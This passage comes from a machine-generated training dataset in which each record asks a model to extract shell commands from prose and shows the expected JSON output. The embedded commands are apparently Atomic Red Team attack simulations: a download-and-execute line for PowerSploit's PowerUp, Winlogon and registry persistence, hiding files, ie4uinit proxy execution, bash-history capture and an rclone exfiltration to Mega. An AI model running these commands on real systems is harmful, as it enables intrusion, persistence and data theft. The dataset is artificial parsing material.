HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v ShowSuperHidden /t REG_DWORD /d 0 /f\nreg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v Hidden /t REG_DWORD /d 0 /f", "output": "{\"command_list\": [\"defaults write com.apple.finder AppleShowAllFiles YES\\n\", \"reg add HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced /v ShowSuperHidden /t REG_DWORD /d 0 /f\\nreg add HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced /v Hidden /t REG_DWORD /d 0 /f\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The system will display network connections and sessions when you use this command sequence: netstat\nnet use\nnet sessions\n; You can obtain details about active network connections by executing this command: Get-NetTCPConnection", "output": "{\"command_list\": [\"netstat\\nnet use\\nnet sessions\\n\", \"Get-NetTCPConnection\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The following command will load PowerUp and perform all privilege escalation checks: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\nInvoke-AllChecks; You can capture specific commands from bash history by executing this command: cat #{bash_history_filename} | grep #{bash_history_grep_args} > #{output_file}\n", "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\\n\", \"cat #{bash_history_filename} | grep #{bash_history_grep_args} > #{output_file}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The custom executable will be executed at the time the OS kicks off the activity, achieved via the command: reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MyComputer\\DefragPath\" /t REG_EXPAND_SZ /d \"%systemroot%\\system32\\notepad.exe\" /f; The registry settings can be modified to use a custom executable, which will be executed when the OS starts the respective activity, via the command: reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MyComputer\\BackupPath\" /t REG_EXPAND_SZ /d \"%systemroot%\\system32\\notepad.exe\" /f", "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\MyComputer\\\\DefragPath\\\" /t REG_EXPAND_SZ /d \\\"%systemroot%\\\\system32\\\\notepad.exe\\\" /f\\n\", \"reg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\MyComputer\\\\BackupPath\\\" /t REG_EXPAND_SZ /d \\\"%systemroot%\\\\system32\\\\notepad.exe\\\" /f\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This PowerShell script modifies the registry to execute atomicNotificationPackage.dll upon logon, but note that it only works on Windows versions prior to Vista/Server 2008. Run the following commands: \nNew-Item \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\AtomicRedTeam\" -Force\nSet-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\AtomicRedTeam\" \"DllName\" \"#{binary_to_execute}\" -Type ExpandString -Force\nSet-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\AtomicRedTeam\" \"Logon\" \"#{function_to_execute}\" -Force\nSet-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\AtomicRedTeam\" \"Impersonate\" 1 -Type DWord -Force\nSet-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\AtomicRedTeam\" \"Asynchronous\" 0 -Type DWord -Force\n; This PowerShell script modifies the registry to execute cmd.exe during logon/logoff by running: Set-ItemProperty \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" \"Shell\" \"explorer.exe, #{binary_to_execute}\" -Force", "output": "{\"command_list\": [\"New-Item \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\Notify\\\\AtomicRedTeam\\\" -Force\\nSet-ItemProperty \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\Notify\\\\AtomicRedTeam\\\" \\\"DllName\\\" \\\"#{binary_to_execute}\\\" -Type ExpandString -Force\\nSet-ItemProperty \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\Notify\\\\AtomicRedTeam\\\" \\\"Logon\\\" \\\"#{function_to_execute}\\\" -Force\\nSet-ItemProperty \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\Notify\\\\AtomicRedTeam\\\" \\\"Impersonate\\\" 1 -Type DWord -Force\\nSet-ItemProperty \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\Notify\\\\AtomicRedTeam\\\" \\\"Asynchronous\\\" 0 -Type DWord -Force\\n\", \"Set-ItemProperty \\\"HKLM:\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\\\\" \\\"Shell\\\" \\\"explorer.exe, #{binary_to_execute}\\\" -Force\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To exfiltrate data to a remote Mega cloud storage instance, use the following command sequence: New-Item #{rclone_config_path}\\rclone -ItemType directory\nNew-Item #{rclone_config_path}\\rclone\\rclone.conf\ncd \"#{rclone_path}\"\n.\\rclone.exe config create #{remote_share} mega\nset-Content #{rclone_config_path}\\rclone\\rclone.conf \"[#{remote_share}] `n type = mega `n user = #{mega_user_account} `n pass = #{mega_user_password}\"\n.\\rclone.exe copy --max-size 1700k \"#{dir_to_copy}\" #{remote_share}:test -v; The launchctl utility allows you to control services with commands like: launchctl submit -l #{label_name} -- #{executable_path}", "output": "{\"command_list\": [\"New-Item #{rclone_config_path}\\\\rclone -ItemType directory\\nNew-Item #{rclone_config_path}\\\\rclone\\\\rclone.conf\\ncd \\\"#{rclone_path}\\\"\\n.\\\\rclone.exe config create #{remote_share} mega\\nset-Content #{rclone_config_path}\\\\rclone\\\\rclone.conf \\\"[#{remote_share}] `n type = mega `n user = #{mega_user_account} `n pass = #{mega_user_password}\\\"\\n.\\\\rclone.exe copy --max-size 1700k \\\"#{dir_to_copy}\\\" #{remote_share}:test -v\\n\", \"launchctl submit -l #{label_name} -- #{executable_path}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The Group Policy startup scripts can be executed with this command: Gpscript /startup; To execute commands from a prepared ie4uinit.inf file, use the following commands: copy #{Path_ie4uinit} %TEMP%\\ie4uinit.exe\ncopy \"#{Path_inf}\" %TEMP%\\ieuinit.inf\n%TEMP%\\ie4uinit.exe -BaseSettings", "output": "{\"command_list\": [\"Gpscript /startup\\n\", \"copy #{Path_ie4uinit} %TEMP%\\\\ie4uinit.exe\\ncopy \\\"#{Path_inf}\\\" %TEMP%\\\\ieuinit.inf\\n%TEMP%\\\\ie4uinit.exe -BaseSettings\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: 